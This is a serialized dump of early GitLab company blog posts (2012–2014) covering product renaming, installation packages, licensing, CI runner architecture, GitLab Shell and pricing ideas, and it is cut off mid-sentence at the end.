[{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2014-04-18\",\n      }",{"title":40616,"description":40617,"authors":40621,"heroImage":12013,"date":40622,"body":40623,"category":299},[3532],"2014-04-18","\n\nToday we rename our Software as a Service (SaaS) offering from GitLab Cloud to GitLab.com. We noticed people referred to it already as GitLab.com and we want to prevent confusion. If you want unlimited private repositories and collaborators please join the thousands of people already using [GitLab.com](/pricing/).\n\nTo refer to this company we'll start using the new official name: GitLab B.V. (which is Dutch for GitLab Inc.). Our website will stay here at [https://www.gitlab.com/](https://www.gitlab.com/) while the GitLab.com service can be reached at the domain apex [https://gitlab.com/](https://gitlab.com/).\n\nThe url's of all your repos will stay the same, there is no need to make any changes.\n",{"slug":40625,"featured":6,"template":678},"gitlab-cloud-becomes-gitlab-com","content:en-us:blog:gitlab-cloud-becomes-gitlab-com.yml","Gitlab Cloud Becomes Gitlab Com","en-us/blog/gitlab-cloud-becomes-gitlab-com.yml","en-us/blog/gitlab-cloud-becomes-gitlab-com",{"_path":40631,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40632,"content":40637,"config":40641,"_id":40643,"_type":16,"title":40644,"_source":17,"_file":40645,"_stem":40646,"_extension":20},"/en-us/blog/add-ssh-key-screencast",{"title":40633,"description":40634,"ogTitle":40633,"ogDescription":40634,"noIndex":6,"ogImage":12013,"ogUrl":40635,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40635,"schema":40636},"Adding a SSH key to GitLab Screencast","In this screencast we show you that adding a SSH key to GitLab is very simple, allowing everyone to push and pull to GitLab without your username and password every time.","https://about.gitlab.com/blog/add-ssh-key-screencast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Adding a SSH key to GitLab Screencast\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2014-03-04\",\n      }",{"title":40633,"description":40634,"authors":40638,"heroImage":12013,"date":40639,"body":40640,"category":299},[36660],"2014-03-04","\nWe heard a few people saying that using a SSH key is hard. In this screencast we show you that adding a SSH key to GitLab is very simple, allowing everyone to push and pull to GitLab without having to enter their username and password every time.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"//www.youtube.com/embed/54mxyLo3Mqk\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n",{"slug":40642,"featured":6,"template":678},"add-ssh-key-screencast","content:en-us:blog:add-ssh-key-screencast.yml","Add Ssh Key Screencast","en-us/blog/add-ssh-key-screencast.yml","en-us/blog/add-ssh-key-screencast",{"_path":40648,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40649,"content":40654,"config":40657,"_id":40659,"_type":16,"title":40660,"_source":17,"_file":40661,"_stem":40662,"_extension":20},"/en-us/blog/gitlab-flow-screencast",{"title":40650,"description":40651,"ogTitle":40650,"ogDescription":40651,"noIndex":6,"ogImage":12013,"ogUrl":40652,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40652,"schema":40653},"Issues and Merge Requests in GitLab Screencast","We are excited to show you some of the possibilities in our new screencast.","https://about.gitlab.com/blog/gitlab-flow-screencast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Issues and Merge Requests in GitLab Screencast\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2014-03-04\",\n      }",{"title":40650,"description":40651,"authors":40655,"heroImage":12013,"date":40639,"body":40656,"category":8943},[36660],"\nGitLab has a very powerful issue tracker that integrates completely with the GitLab workflow, allowing you to reference and even close issues with commits. On top of that, you can easily comment on someone's code line by line, integrate GitLab CI, reference colaborators, vote for or against merge requests and much more. \nWe are excited to show you some of the possibilities in our new screencast.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"//www.youtube.com/embed/raXvuwet78M\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n",{"slug":40658,"featured":6,"template":678},"gitlab-flow-screencast","content:en-us:blog:gitlab-flow-screencast.yml","Gitlab Flow Screencast","en-us/blog/gitlab-flow-screencast.yml","en-us/blog/gitlab-flow-screencast",{"_path":40664,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40665,"content":40670,"config":40674,"_id":40676,"_type":16,"title":40677,"_source":17,"_file":40678,"_stem":40679,"_extension":20},"/en-us/blog/markdown-newline-behaviour",{"title":40666,"description":40667,"ogTitle":40666,"ogDescription":40667,"noIndex":6,"ogImage":6704,"ogUrl":40668,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40668,"schema":40669},"Markdown newline behaviour","Currently GitLab renders line-breaks in markdown files as line-breaks. We propose to change this behaviour to conform to the markdown specification.","https://about.gitlab.com/blog/markdown-newline-behaviour","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Markdown newline behaviour\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2014-02-21\",\n      }",{"title":40666,"description":40667,"authors":40671,"heroImage":6704,"date":40672,"body":40673,"category":299},[711],"2014-02-21","Currently GitLab renders line-breaks in markdown files as line-breaks.\nWe propose to change this behaviour to conform to the [markdown specification](http://daringfireball.net/projects/markdown/syntax#p) and only render line-breaks when you end a line with two or more spaces.\nParagraphs will continue to be rendered as before; when the text is separated by one or more blank lines.\n\nThe above change will ensure that markdown files in projects will look the way you expect them to look.\nBut GitLab has just one markdown engine to render [GitLab Flavored Markdown](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/markdown/markdown.md#newlines).\nSince descriptions & comments in both issues & merge requests also use GitLab Flavored Markdown they will also show the new behaviour.\nWe think this is preferable above introducing different behaviour and rendering code for different cases.\nPlease let us know what you think.\n",{"slug":40675,"featured":6,"template":678},"markdown-newline-behaviour","content:en-us:blog:markdown-newline-behaviour.yml","Markdown Newline Behaviour","en-us/blog/markdown-newline-behaviour.yml","en-us/blog/markdown-newline-behaviour",{"_path":40681,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40682,"content":40687,"config":40691,"_id":40693,"_type":16,"title":40694,"_source":17,"_file":40695,"_stem":40696,"_extension":20},"/en-us/blog/gitlab-is-now-simple-to-install",{"title":40683,"description":40684,"ogTitle":40683,"ogDescription":40684,"noIndex":6,"ogImage":6704,"ogUrl":40685,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40685,"schema":40686},"GitLab is now simple to install","Today we can announce that installing GitLab is also greatly simplified.","https://about.gitlab.com/blog/gitlab-is-now-simple-to-install","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is now simple to install\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2014-02-14\",\n      }",{"title":40683,"description":40684,"authors":40688,"heroImage":6704,"date":40689,"body":40690,"category":299},[711],"2014-02-14","GitLab is the most fully featured open source application to manage git repositories.\nHowever, historically it was not easy to install and update GitLab.\nInstalling it required copy-pasting commands from a long guide.\nThe guide [actually worked](https://twitter.com/robinvdvleuten/status/424163226532986880) but it was 10 pages long.\nIn spite of this GitLab has become the most popular solution for on premise installations with 50,000 organizations using it.\nTo grow even faster we needed to simplify the update and installations processes.\nSo in GitLab 6.4 we made sure that [upgrading is now only a single command](/releases/2013/12/21/gitlab-ce-6-dot-4-released/).\nToday we can announce that installing GitLab is also greatly simplified.\n\nYou now have three new options to install GitLab: an official GitLab Chef cookbook, GitLab Packer virtual machines and GitLab Omnibus packages.\n\nThe [official GitLab Chef cookbook](https://gitlab.com/gitlab-org/cookbook-gitlab/blob/master/README.md) is the most flexible option.\nIt supports both development and production environments and both Ubuntu and RHEL/CentOS operating systems.\nYou can install it with Chef Solo, a Chef server or with Vagrant.\nIt supports MySQL and PostgreSQL databases, both in the same server as external ones.\nThe cookbook is [well tested](https://gitlab.com/gitlab-org/cookbook-gitlab/tree/master/spec) with [ChefSpec](https://github.com/sethvargo/chefspec).\nFor cloud fans there even is [a version that runs on AWS Opsworks](https://gitlab.com/gitlab-com/cookbook-gitlab-opsworks/blob/master/README.md).\n\nIf you want to quickly spin up a production GitLab server you can also use a virtual machine image with GitLab preinstalled.\nThe [downloads page](https://www.gitlab.com/downloads/) already has an Ubuntu 12.04 image and CentOS 6.5 will come soon.\nThese are made with [Packer](http://www.packer.io/) and [the source code to create your versions](https://gitlab.com/gitlab-org/gitlab-packer/blob/master/README.md) is available.\nExample configurations for Digital Ocean and AWS are included. These images are created with the official Chef cookbook mentioned earlier.\n\nLast but not least are the two GitLab Omnibus packages.\nA deb package for Ubuntu 12.04 LTS and a RPM package for CentOS 6 can be found on the [downloads page](https://www.gitlab.com/downloads/).\nThese are packages of the GitLab 6.6.0.pre and should not be used on production machines.\nWhen GitLab 6.6 is stable we will update the packages and link them in the GitLab readme.\nEven when stable these packages currently support a reduced selection of GitLab's normal features.\nIt is not yet possible to create/restore application backups or to use HTTPS, for instance.\nBut it is a start and we look forward to improving them together with the rest of the GitLab community.\nCreating these package has been our dream for a long time.\nGitLab has a lot of dependencies which means that native packages would require packaging hundreds of gems.\nTo solve this we used [omnibus-ruby](https://github.com/opscode/omnibus-ruby) that Chef Inc. uses to package Chef and Chef Server.\nBased on [omnibus-chef-server](https://github.com/opscode/omnibus-chef-server) we made [omnibus-gitlab](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/README.md) that you can use to create your own package.\nSo now you can finally install GitLab with:\n\n```\napt-get install -y openssh-server postfix\ndpkg -i gitlab_6.6.0-pre1.omnibus.2-1.ubuntu.12.04_amd64.deb\ngitlab-ctl reconfigure\n```\n\nLike any active project there are still many way to improve the [GitLab Chef cookbook](https://gitlab.com/gitlab-org/cookbook-gitlab/issues), the [GitLab Packer virtual machines](https://gitlab.com/gitlab-org/gitlab-packer/issues) and [GitLab Omnibus packages](https://gitlab.com/gitlab-org/omnibus-gitlab/issues) so we welcome your help.\nWe would like to thank the awesome GitLab community and the [GitLab subscribers](https://www.gitlab.com/subscription/) for their support.\nOf course, all previous installation options will continue to be available.\nPlease join the celebration in the comments and let us know if you have any questions.\n",{"slug":40692,"featured":6,"template":678},"gitlab-is-now-simple-to-install","content:en-us:blog:gitlab-is-now-simple-to-install.yml","Gitlab Is Now Simple To Install","en-us/blog/gitlab-is-now-simple-to-install.yml","en-us/blog/gitlab-is-now-simple-to-install",{"_path":40698,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40699,"content":40704,"config":40708,"_id":40710,"_type":16,"title":40711,"_source":17,"_file":40712,"_stem":40713,"_extension":20},"/en-us/blog/gitlab-ee-license-change",{"title":40700,"description":40701,"ogTitle":40700,"ogDescription":40701,"noIndex":6,"ogImage":12013,"ogUrl":40702,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40702,"schema":40703},"GitLab Enterprise Edition license change","We are now introducing a change to the EE license. Read this article to learn more.","https://about.gitlab.com/blog/gitlab-ee-license-change","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Enterprise Edition license change\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2014-02-11\",\n      }",{"title":40700,"description":40701,"authors":40705,"heroImage":12013,"date":40706,"body":40707,"category":299},[3532],"2014-02-11","\nOn July 22, 2013 we [introduced GitLab Enterprise Edition (EE)](/releases/2013/07/22/announcing-gitlab-enterprise-edition/).\nSince then, both EE and the Community Edition have grown and flourished.\nThere are now multiple Fortune 100 companies running the Enterprise Edition and the use of the Community Edition has doubled to 50.000 organizations.\n\nWe are now introducing a change to the EE license. As it stands today, the open source license of EE is confusing to some of our potential subscribers.\nThey expect that a subscription is needed to use the software.\nExplaining the current open source license combined with a required subscription is not only confusing at times, but also time-consuming for us.\nTherefore we are changing the license on the Enterprise Edition to one where the parts developed by GitLab.com are copyrighted by us.\nWe always expected organizations to have a valid subscription when using Enterprise Edition and this change formalizes that.\n\nWe hope you see how this licence change reduces confusion and increases the chance potential subscribers select GitLab as their primary code hosting tool.\nWe feel that the past 6 months have shown that the development of the Community Edition is a priority for GitLab.com.\nWith the help of the rest of the community we've done 5 releases with many new features and bug-fixes.\nThis is a process we want continue and the Community Edition will keep being a fully functional application that will not be restricted in any way.\nAnd a lot more awesome features for GitLab CE and GitLab CI will be contributed by GitLab.com staff in the coming months.\n\nIn summary, we're changing the license of the Enterprise Edition but all the GitLab versions you know and love will continue to improve.\nIf you have any thoughts or questions please share them in the comments below.\n",{"slug":40709,"featured":6,"template":678},"gitlab-ee-license-change","content:en-us:blog:gitlab-ee-license-change.yml","Gitlab Ee License Change","en-us/blog/gitlab-ee-license-change.yml","en-us/blog/gitlab-ee-license-change",{"_path":40715,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40716,"content":40721,"config":40725,"_id":40727,"_type":16,"title":40728,"_source":17,"_file":40729,"_stem":40730,"_extension":20},"/en-us/blog/high-availability-white-paper",{"title":40717,"description":40718,"ogTitle":40717,"ogDescription":40718,"noIndex":6,"ogImage":12013,"ogUrl":40719,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40719,"schema":40720},"GitLab High Availability Solutions","We've just published an overview of GitLab High Availability Solutions. This web-page gives you a rough idea on what kind of HA setups to expect from us.","https://about.gitlab.com/blog/high-availability-white-paper","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab High Availability Solutions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marc Radulescu\"}],\n        \"datePublished\": \"2013-12-17\",\n      }",{"title":40717,"description":40718,"authors":40722,"heroImage":12013,"date":40723,"body":40724,"category":299},[40081],"2013-12-17","\n\nWe've just published an overview of [GitLab High Availability Solutions](https://www.gitlab.com/high-availability/). The subject of high availability (HA) has come up frequently with our customers. GitLab is a business-critical service for some of our users. We want to meet their concerns in keeping GitLab continuously available.\n\nThis web-page gives you a rough idea on what kind of HA setups to expect from us. So whether you are already interested in the topic, or only now realize it might be something worth looking into, we advise you to read it.\n\nWe aim to highlight the big trade-off between increasing uptime and accepting complexity/cost. The more uptime you want, the more complex the setup. And the more complex the setup, the costlier to maintain. Consequently, we've structured it starting with the simplest solution out there, which is a basic server back-up. We gradually add levels of complexity, going through manual and automated snapshots, dedicated servers, slaves, and finally discussing clustered/master-master filestore configurations. Fair warning though, there is no one-size-fits-all when it comes to high availability. Our page is by no means a go-to guide for setting up your HA GitLab installation. Use it as a step to start considering your options.\n\nAs always, feedback is more than welcome. Let us know how you feel about the page and our solutions. If there is something we missed, don't hesitate to point it out.\n",{"slug":40726,"featured":6,"template":678},"high-availability-white-paper","content:en-us:blog:high-availability-white-paper.yml","High Availability White Paper","en-us/blog/high-availability-white-paper.yml","en-us/blog/high-availability-white-paper",{"_path":40732,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40733,"content":40738,"config":40742,"_id":40744,"_type":16,"title":40745,"_source":17,"_file":40746,"_stem":40747,"_extension":20},"/en-us/blog/integrating-gitlab-ci-with-gitlab",{"title":40734,"description":40735,"ogTitle":40734,"ogDescription":40735,"noIndex":6,"ogImage":6704,"ogUrl":40736,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40736,"schema":40737},"Integrating GitLab CI with GitLab to enable distributed builds","Integrating GitLab CI with GitLab to enable distributed builds.","https://about.gitlab.com/blog/integrating-gitlab-ci-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Integrating GitLab CI with GitLab to enable distributed builds\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2013-06-20\",\n      }",{"title":40734,"description":40735,"authors":40739,"heroImage":6704,"date":40740,"body":40741,"category":299},[711],"2013-06-20","### Integrating GitLab CI with GitLab to enable distributed builds\n\nThe GitLab.com team strongly believes in using feature branches and merge requests in software development. \nWe also think that Test Driven Development (TDD) should be used wherever possible. \nIf you combine these things what follows is that you have to know the testing results of a feature branch before accepting the merge request. \nGitLab CI was build to offer this functionality and we think most people using GitLab would benefit from using GitLab CI as well.\n\nTo make this easier we have now integrated GitLab CI with GitLab. This tight integration offers three great benefits:\n\n1. You can login to GitLab CI with your GitLab credentials.\n2. The GitLab user interface shown the projects you have access to.\n3. Setting up a testing environment for a new project no longer takes [8 steps](http://blog.bitnami.com/2013/05/deploy-gitlab-gitlab-ci-in-cloud-with.html) but just one.\n\n\u003C!-- more -->\n\n**Clean separation through the GitLab API**\n\nWe still want a clean separation between GitLab and GitLab CI to allow them to develop independently, reduce security risks and keep each code base small.\nTherefore, GitLab CI has its own database and uses GitLab's public API to communicate with GitLab. \nGitLab CI does not have access to more code or user information than what is accessible by the users who are logged in to GitLab CI.\n\n**Integrated but flexible**\n\nGitLab CI will be a rack application that you can mount where you want. \nIn the future you can install GitLab CI as a rack application on the same server as GitLab. \nBut you can also run GitLab CI on another server than GitLab if you would like to do so.\n\n**Don't run tests on the CI server**\n\nHopefully some of you are now thinking, running tests on the same server that stores my source code? No way! \nOf course you are very correct but actually the problem is larger than that. \nAnybody who can push to a branch that is tested on a CI server can easily own that server. \nSo you don't want to have projects with different authorization levels being tested on the same CI server. \n**If you are running tests on the CI server you are doing it wrong!** \nWe must admit that we have done this ourselves too. \nBut we have also seen it being set up this way by the majority of people that run other CI applications such as [Jenkins](http://jenkins-ci.org/) (even though Jenkins does allow you to [run the tests on other servers](https://wiki.jenkins-ci.org/display/JENKINS/Distributed+builds)).\n\n**Coordinators and runners**\n\nTo solve the problem we have split the CI application in two parts, a coordinator and runners. \nThe coordinator enables you to specify how you want to test and stores the results. \nThis is a rack application that communicates with the GitLab API. \nThe runners perform the actual build and they are installed on separate machines. \nThis way you never run tests on the same server that stores all you code. \nYou can bind runners to specific projects to preserve the exclusivity of your source code.\n\n**Work in progress**\n\nThe integration work is still ongoing. Right now GitLab CI is still a standalone application. \nBut it does already use runners [build from a separate repo](https://github.com/gitlabhq/gitlab-ci-runner). \n[![screenshot](https://about.gitlab.com/images/screens/runner.png)](/images/screens/runner.png)\n\n**Conclusion**\n\nOf course all this is optional, you can still use GitLab with other CI servers or install GitLab without installing GitLab CI. \nBut we believe this 'distributed builds by default' design will encourage many people to do the right thing. \nPlease let us know what you think about this change.\n",{"slug":40743,"featured":6,"template":678},"integrating-gitlab-ci-with-gitlab","content:en-us:blog:integrating-gitlab-ci-with-gitlab.yml","Integrating Gitlab Ci With Gitlab","en-us/blog/integrating-gitlab-ci-with-gitlab.yml","en-us/blog/integrating-gitlab-ci-with-gitlab",{"_path":40749,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40750,"content":40755,"config":40759,"_id":40761,"_type":16,"title":40762,"_source":17,"_file":40763,"_stem":40764,"_extension":20},"/en-us/blog/packaging-gitlab-for-fedora-a-gsoc-2013-project",{"title":40751,"description":40752,"ogTitle":40751,"ogDescription":40752,"noIndex":6,"ogImage":12013,"ogUrl":40753,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40753,"schema":40754},"Packaging GitLab for Fedora: A GSoC 2013 project","It is with great excitement that I announce you the involvement of GitLab in this year's Google Summer of Code through the Fedora project.","https://about.gitlab.com/blog/packaging-gitlab-for-fedora-a-gsoc-2013-project","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Packaging GitLab for Fedora: A GSoC 2013 project\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Achilleas Pipinellis\"}],\n        \"datePublished\": \"2013-05-28\",\n      }",{"title":40751,"description":40752,"authors":40756,"heroImage":12013,"date":40757,"body":40758,"category":299},[35789],"2013-05-28","\n\nHi everyone!\n\nIt is with great excitement that I announce you the involvement of GitLab in this \nyear's Google Summer of Code through the [Fedora][] project.\n\n\u003C!-- more -->\n\n### Whoami\n\nMy name is Axilleas Pipinellis, an undergraduate student from Greece. I study \n[Applied Mathematical and Physical Sciences][semfe] in [National and Technical University of Athens][ntua]. \nYou can read more info about me [here][aboutme].\n\n### My involvement with GitLab\n\nI have been following GitLab since version 2 and have installed/deployed it \nseveral times since. Recently, I also started [contributing][] some minor patches,\nmainly to the documentation. I have spent several hours contributing not only upstream \nbut I also wrote a [wiki article][] for Archlinux, as well as an installation [script][](needs refinement) \nand recently I gave a small [talk] in greek about GitLab during a [hackfest].\n\n### About Fedora and the GSoC proposal\n\nThe thought of GitLab being packaged for Fedora and then deployed as an extra service\nfor [fedorahosted][] isn't new. It was also a proposed idea for GSoC 2012, but\nunfortunately it didn't get picked. \n\nSo, this year is the lucky one and the main plan is to package GitLab and all its \ndependencies in `rpm` format, first for Fedora and then for [EPEL][](RedHat, CentOS, etc). \nFor a full view of my proposal see [here][proposal] and [there][post] is a post I made \nabout this matter two months ago.\n\nI believe this is a huge matter for both parties, as Fedora will be among the officially \nsupported platforms and GitLab will benefit from one of the biggest open source \ncommunities.\n\nCheers to a fun and productive summer!\n\n[post]: https://axilleas.me/en/blog/2013/bringing-gitlab-in-fedora/\n[EPEL]: https://fedoraproject.org/wiki/EPEL\n[proposal]: https://fedoraproject.org/wiki/GSOC_2013/Student_Application_Axilleas/Gitlab%28463%29\n[fedorahosted]: https://fedorahosted.org/web/\n[Fedora]: http://fedoraproject.org/\n[script]: https://gist.github.com/axilleas/3305554\n[hackfest]: https://hackerspace.gr/wiki/Hackfest15 \n[talk]: http://www.slid.es/axil/what-is-gitlab \n[wiki article]: https://wiki.archlinux.org/index.php/Gitlab\n[contributing]: https://github.com/gitlabhq/gitlabhq/commits/?author=axilleas\n[semfe]: http://semfe.ntua.gr/\n[ntua]: http://www.ntua.gr/index_en.html\n",{"slug":40760,"featured":6,"template":678},"packaging-gitlab-for-fedora-a-gsoc-2013-project","content:en-us:blog:packaging-gitlab-for-fedora-a-gsoc-2013-project.yml","Packaging Gitlab For Fedora A Gsoc 2013 Project","en-us/blog/packaging-gitlab-for-fedora-a-gsoc-2013-project.yml","en-us/blog/packaging-gitlab-for-fedora-a-gsoc-2013-project",{"_path":40766,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40767,"content":40772,"config":40776,"_id":40778,"_type":16,"title":40779,"_source":17,"_file":40780,"_stem":40781,"_extension":20},"/en-us/blog/donations",{"title":40768,"description":40769,"ogTitle":40768,"ogDescription":40769,"noIndex":6,"ogImage":6704,"ogUrl":40770,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40770,"schema":40771},"Donations large and small","In the last few months many people have donated to support the development of GitLab. We appreciate all these donations.","https://about.gitlab.com/blog/donations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Donations large and small\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2013-03-01\",\n      }",{"title":40768,"description":40769,"authors":40773,"heroImage":6704,"date":40774,"body":40775,"category":299},[711],"2013-03-01","### Thank you for all the donations!\n\nIn the last few months many people have donated to support the development of GitLab. We appreciate all these donations.\n\nWe would like to thank [Futurice](http://www.futurice.com/) and [INdigital Telecom](http://www.indigital.net/) for their generous donations. For [Futurice](http://www.futurice.com/) it was their second donation to the GitLab project, great to see their continued support. They are a European provider of lean IT solutions. They already have Nokia, Vodefone and General Motors as clients, please consider joining their list of customers if you need an enterprise solution.\n\n[INdigital Telecom](http://www.indigital.net/) is from the United States, Fort Wayne in Indiana to be exact. They make sure that one someone calls the emergency services the connection always works. We think it is cool that besides [sponsoring the local softball team](http://www.indigital.net/news-sponsorship) they also donated $1000 to improve GitLab.\n\nINdigital Telecom has 10 developers working on about 100 projects using C, Python, Java and Php. They use GitLab as a software management and source code tracker contribution tool. With the issues and milestones functions they plan the project properly and make sure it is done on time. We're pretty sure they are careful about the tools they use and we're proud GitLab is among them.\n\nWe would also like to thank the other people that donated:\n\n* Demetrius Albuquerque\n* Ty Bodell\n* Jonathan Glines\n* Fritz Seifts\n* Karsakov Vladimir\n* Stephan Schulz\n* Matthias Gröbner\n* Laimonas Ignatavicius\n* Yuriy Golobokov\n* Kamil Trzciński\n* Miguel Machado\n* No-IP\n* Jason Rimmer\n* Oshnurov Nikolay\n* LiquidOptical\n* iMatt Sàrl\n* Pim Snel\n* Netlings Webworks Private Limited\n* Andres Cely\n\nIf you want to make a donation go to [the donation page](http://gitlab.org/donate/) or email us at [donations@gitlab.com](mailto:donations@gitlab.com) to discuss.\n",{"slug":40777,"featured":6,"template":678},"donations","content:en-us:blog:donations.yml","Donations","en-us/blog/donations.yml","en-us/blog/donations",{"_path":40783,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40784,"content":40789,"config":40793,"_id":40795,"_type":16,"title":40796,"_source":17,"_file":40797,"_stem":40798,"_extension":20},"/en-us/blog/gitlab-without-gitolite",{"title":40785,"description":40786,"ogTitle":40785,"ogDescription":40786,"noIndex":6,"ogImage":6704,"ogUrl":40787,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40787,"schema":40788},"GitLab without gitolite","Yeap GitLab 5.0 will be without gitolite. Read this artlicle to learn more.","https://about.gitlab.com/blog/gitlab-without-gitolite","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab without gitolite\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2013-02-12\",\n      }",{"title":40785,"description":40786,"authors":40790,"heroImage":6704,"date":40791,"body":40792,"category":734},[711],"2013-02-12","### Yeap GitLab 5.0 will be without gitolite\n\nGitolite was a real help when we started with GitLab. \nIt saves us a lot of work and provide a pretty functional solution.\n\nBut after time we understood - keep gitlab and gitolite synced is harder than build own solution.\n\n#### Problems: \n\n* out of sync between gitlab and gitolite\n* gitolite becomes slower on bigger count of repos\n* 2 system users increased complexity of setup\n* code complexity, easy to make a mistake\n* gitolite does not allow to create repositories, keys in simultaneously\n\n\u003C!-- more -->\n\n#### GitLab Shell\n\nGitLab Shell is my replacement for gitolite.\n\nBasically it's a few scripts on ruby and shell for managing `/home/git/.ssh/authorized_keys` and `/home/git/repositories`\n\nYou can find [source code on github](https://github.com/gitlabhq/gitlab-shell.git)\n\n#### 2 users -> 1 user\n\nEarlier we have 2 users for GitLab. gitlab for GitLab and git for gitolite. \n\nNow its only one `git` user for GitLab and GitLab Shell\n\n#### New GitLab directory structure\n\nThis is the directory structure you will end up with following the instructions in the Installation Guide.\n\n    |-- home\n    |   |-- git\n    |       |-- .ssh\n    |       |-- gitlab\n    |       |-- gitlab-satellites\n    |       |-- gitlab-shell\n    |       |-- repositories\n\n#### PROFIT\n\n##### 1. Amount of code \n\nIts was ~ 1000 lines of code related to gitolite inside of GitLab. And one library for parsing gitolite config. \n\nNow it is only 150 lines of pretty simple code related to gitlab shell. \n\n##### 2. Performance \n\nFor [https://gitlab.com](https://gitlab.com) we decreased project creation time in 10 times. \n\n##### 3. Stability\n\nGitLab Shell does not store Access Control List. It asks GitLab for permissions via api. \n\nNo out of sync between GitLab and GitLab Shell == much stable backend solution.\n\n##### 4. Simplicity of update\n\nYou can update gitlab-shell just by `git pull`\n\nYou dont even need to restart gitlab service\n\n- - -\n\n### Feb 22: GitLab 4.2 - last release with gitolite\n### Mar 22: GitLab 5.0 - requires gitlab-shell\n\n- - -\n\nCurrently I'm working on migration docs to GitLab 5.0.0pre. You can find a [draft here](https://github.com/gitlabhq/gitlabhq/wiki/From-4.2-to-5.0)\n",{"slug":40794,"featured":6,"template":678},"gitlab-without-gitolite","content:en-us:blog:gitlab-without-gitolite.yml","Gitlab Without Gitolite","en-us/blog/gitlab-without-gitolite.yml","en-us/blog/gitlab-without-gitolite",{"_path":40800,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40801,"content":40806,"config":40810,"_id":40812,"_type":16,"title":40813,"_source":17,"_file":40814,"_stem":40815,"_extension":20},"/en-us/blog/gitlab-com-pricing-thoughts",{"title":40802,"description":40803,"ogTitle":40802,"ogDescription":40803,"noIndex":6,"ogImage":6704,"ogUrl":40804,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40804,"schema":40805},"Your thoughts on Gitlab.com pricing","People asked about the pricing of Gitlab.com and I would love to hear what you think about this subject.","https://about.gitlab.com/blog/gitlab-com-pricing-thoughts","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Your thoughts on Gitlab.com pricing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2012-10-19\",\n      }",{"title":40802,"description":40803,"authors":40807,"heroImage":6704,"date":40808,"body":40809,"category":299},[711],"2012-10-19","The beta of Gitlab is going well and to date, more than 100 projects were created. People asked about the pricing of Gitlab.com and I would love to hear what you think about this subject. For me the 3 goals of the pricing are:\n\n1. The pricing should **encourage using** Gitlab.com as much as possible\n2. The pricing model should be** fair and easy** to understand\n3. The price should be** related to** **the** **benefit** of using Gitlab.com\n\nTo achieve the first goal of encouraging usage I propose we have** unlimited free private repos** and offer a **free usage tier**. With free private repos, you never have to think twice about adding another repo. Of course public repos will be free as well when we start offering them. To achieve the second goal of making things fair and easy I think we should differentiate the plans only on **one dimension**. I never like when I'm charged by two dimensions (for example the number of users and the total file size) and I have to upgrade because I hit one limit but not the other. With one dimension (either users or total file size), you never have any waste. In addition, some people told me they hate having to upgrade to a much more expensive plan just to add one more user. A fair system would just **charge per user** without any arbitrary plan sizes. To relate the price to the benefit, we need to differentiate the offering. I believe that you get more benefit from version control when you work with more people on a project. So it would be logical to charge by the **number of users** on the private project with the largest number of collaborators. I also think that when you use Gitlab.com with an organisation, you get more benefit. Therefore, I would like to create** two plans**, professional 